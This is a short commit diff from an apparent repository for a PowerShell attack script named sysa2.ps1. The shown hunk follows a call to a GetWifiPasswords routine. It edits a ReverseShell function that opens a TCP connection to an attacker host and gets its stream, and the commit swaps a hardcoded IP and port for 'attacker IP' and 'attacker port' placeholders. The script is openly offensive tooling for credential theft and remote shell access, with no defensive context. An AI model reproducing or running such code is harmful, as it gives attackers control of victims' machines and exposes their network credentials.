Update sysa2.ps1
parent
8833b95983
commit
b3f8d984b1
|
@ -101,8 +101,8 @@ GetWifiPasswords
|
||||||
|
|
||||||
# Reverse shell
|
# Reverse shell
|
||||||
function ReverseShell {
|
function ReverseShell {
|
||||||
$ip = '192.168.31.82'
|
$ip = 'attacker IP'
|
||||||
$port = '8080'
|
$port = 'attacker port'
|
||||||
|
|
||||||
$client = New-Object System.Net.Sockets.TCPClient($ip, $port)
|
$client = New-Object System.Net.Sockets.TCPClient($ip, $port)
|
||||||
$stream = $client.GetStream()
|
$stream = $client.GetStream()
|
||||||
|
|
Loading…
Reference in New Issue